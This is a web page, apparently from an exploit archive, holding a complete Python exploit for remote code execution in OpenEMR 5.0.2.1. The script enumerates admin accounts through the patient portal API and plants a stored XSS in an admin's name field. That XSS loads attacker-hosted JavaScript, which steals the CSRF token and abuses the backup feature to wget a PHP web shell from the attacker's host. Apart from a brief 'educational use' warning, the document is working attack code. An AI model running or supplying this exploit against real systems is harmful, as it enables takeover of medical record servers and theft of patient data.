扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 |
# Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution # Exploit Author: Hato0, BvThTrd # Date: 2020-08-07 # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.2.1/openemr-5.0.2.tar.gz/download # Version: 5.0.2.1 (without patches) # Tested on: Ubuntu Server 20.04.1 LTS, OpenEMR Version 5.0.2.1 # References: # https://blog.sonarsource.com/openemr-5-0-2-1-command-injection-vulnerability?utm_medium=cpc&utm_source=twitter&utm_campaign=openemr&utm_term=security&utm_content=tofu # https://www.youtube.com/watch?v=H8VWNwWgYJo&feature=emb_logo #!/usr/bin/python3 WARNING=''' ===================================== WARNING ===================================== Please do not use for illegal purposes. It's for educational use only. Please be on the good side. =================================================================================== ''' import argparse import http.server import socketserver import requests from termcolor import colored import json OPENEMR_DIR = "" RHOST = "127.0.0.1" RPORT = 80 VHOST = "" LHOST = "127.0.0.1" LPORT = 4444 WPORT = 8080 def main(): print(colored(WARNING, "red")) arguments() cookie1, cookie2 = init_session() jsonReceived, id = get_api(cookie1["OpenEMR"], cookie2["PortalOpenEMR"]) write_payload_js() write_wshell() send_xss(id,cookie1["OpenEMR"], cookie2["PortalOpenEMR"], jsonReceived) if len(VHOST) > 0 : print(colored("[+]", "green"),f'Your wshell is available at http://{VHOST}/{OPENEMR_DIR}interface/main/wshell.php?cmd=') else: print(colored("[+]", "green"),f'Your wshell is available at http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/main/wshell.php?cmd=') web_serv() def arguments(): parser = argparse.ArgumentParser(description='This exploit drop a web shell on an OpenEMR v5.0.2.1 CMS. At the end, GET the URL and run a netcat listener on the LHOST:LHPORT. You will be able to do a Remote Code Execution on this server.') parser.add_argument("-d", "--directory", dest='directory', nargs='?', help="Root directory OpenEMR CMS") parser.add_argument("-rh", "--rhost", dest='rhost', help="Remote server IP", required=True) parser.add_argument("-rp", "--rport", dest='rport', nargs='?', help="Remote server PORT", type=int) parser.add_argument("-vh", "--vhost", dest='vhost', nargs='?', help="Remote server DOMAIN_NAME") parser.add_argument("-lh", "--lhost", dest='lhost', help="Reverse shell IP", required=True) parser.add_argument("-lp", "--lport", dest='lport', help="Reverse shell PORT", type=int, required=True) parser.add_argument("-wp", "--wport", dest='wport', nargs='?', help="Web Server PORT", type=int) args = parser.parse_args() if(args.directory != None): global OPENEMR_DIR OPENEMR_DIR = str(args.directory) if OPENEMR_DIR[-1] != "/": OPENEMR_DIR += "/" if(args.rhost != None): global RHOST RHOST =str(args.rhost) if(args.rport != None): global RPORT RPORT = int(args.rport) if(args.vhost != None): global VHOST VHOST =str(args.vhost) if(args.lhost != None): global LHOST LHOST = str(args.lhost) if(args.lport != None): global LPORT LPORT = int(args.lport) if(args.wport != None): global WPORT WPORT = int(args.wport) def init_session(): r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/login/login.php?site=default', headers={'host': VHOST}) if (r.status_code != 200): print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}') exit(1) else: print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie OpenEMR:{r.cookies["OpenEMR"]}') cookies = {"OpenEMR" : r.cookies["OpenEMR"]} r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/account/register.php', headers={'host': VHOST}, cookies=cookies) if (r.status_code != 200): print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}') exit(1) else: print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie PortalOpenEMR:{r.cookies["PortalOpenEMR"]}') cookies2 = {"PortalOpenEMR": r.cookies["PortalOpenEMR"]} return (cookies, cookies2) def get_api(cookieEMR, cookiePortal): cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal} r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/users/', headers={'host': VHOST}, cookies=cookies) parsed_json = (json.loads(r.text)) for row in parsed_json['rows']: if row['authorized'] == str(1): print(colored("[+]", "green"),f'Find admin :') print(colored('\t[*]', 'yellow'), f'Id = {row["id"]}') print(colored('\t[*]', 'yellow'), f'Username = {row["username"]}') print(colored('\t[*]', 'yellow'), f'lname = {row["lname"]}') print(colored('\t[*]', 'yellow'), f'fname = {row["fname"]}') id = row['id'] json_to_return = row if (r.status_code != 200): print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}') exit(1) else: return (json_to_return, id) def write_payload_js(): payload = "var xmlHttp = new XMLHttpRequest();\n" payload += "var token = window.location.href;\n" if len(VHOST) > 0 : payload += "var mainUrl = 'http://{0}/{1}interface/main/tabs/main.php?token_main=';\n".format(VHOST, OPENEMR_DIR) payload += "var backUrl = 'http://{0}/{1}interface/main/backup.php';\n".format(VHOST,OPENEMR_DIR) else: payload += "var mainUrl = 'http://{0}:{1}/{2}interface/main/tabs/main.php?token_main=';\n".format(RHOST, RPORT, OPENEMR_DIR) payload += "var backUrl = 'http://{0}:{1}/{2}interface/main/backup.php';\n".format(RHOST, RPORT, OPENEMR_DIR) payload += "var cookieSet = 'OpenEMR=';\n\n" payload += "token = token.split('=')[1];\n\n" payload += "xmlHttp.open( 'GET', backUrl, false );\n" payload += "xmlHttp.send(null);\n\n" payload += "var response = xmlHttp.responseText;\n" payload += "var elemHTML = response.split(' ');\n" payload += "var csrf = '';\n\n\n" payload += "for(var i=0; i < elemHTML.length; i++)\n" payload += "{\n" payload += "\tif(elemHTML[i] == 'name=\"csrf_token_form\"')\n" payload += "\t{\n" payload += "\t\tcsrf = elemHTML[i+1].split('=')[1].replace(/\"/g,'');\n" payload += "\t\tbreak;\n" payload += "\t}\n" payload += "}\n\n\n" payload += "var formData = new FormData();\n\n" payload += "formData.append('csrf_token_form', csrf);\n" payload += "formData.append('form_sel_lists[]', 'amendment_status');\n" payload += "formData.append('form_sel_layouts[]', '<code>wget http://{0}:{1}/wshell.php -O wshell.php;</code>');\n".format(LHOST,WPORT) payload += "formData.append('form_step', '102');\n" payload += "formData.append('form_status', '');\n\n" payload += "var request = new XMLHttpRequest();\n" payload += "request.open('POST', backUrl);\n" payload += "request.send(formData);\n" with open('payload.js','w') as fpayload: for line in payload: fpayload.write(line) fpayload.close() print(colored("[+]", "green"),f'Payload XSS written') def write_wshell(): with open('wshell.php','w') as fwshell: fwshell.write("<?php system($_GET['cmd']); ?>\n") fwshell.close() print(colored("[+]", "green"),f'Wshell written') def send_xss(id, cookieEMR, cookiePortal, jsonData): cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal} jsonData["lname"] = "<script src='http://{0}:{1}/payload.js'> </script>".format(LHOST,WPORT) jsonData["cpoe"] = 1 jsonData["source"] = 1 jsonData.pop("id",None) data = json.dumps(jsonData, indent = 4) r = requests.put(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/user/{id}', headers={'host': VHOST}, cookies=cookies, data=data) print(colored("[+]", "green"),f'Stored XSS dropped') def web_serv(): Handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", WPORT), Handler) as httpd: print(colored("[+]", "green"),f'HTTP Simple Server running at localhost PORT {WPORT}') httpd.serve_forever() if __name__ == "__main__": main() |
体验盒子
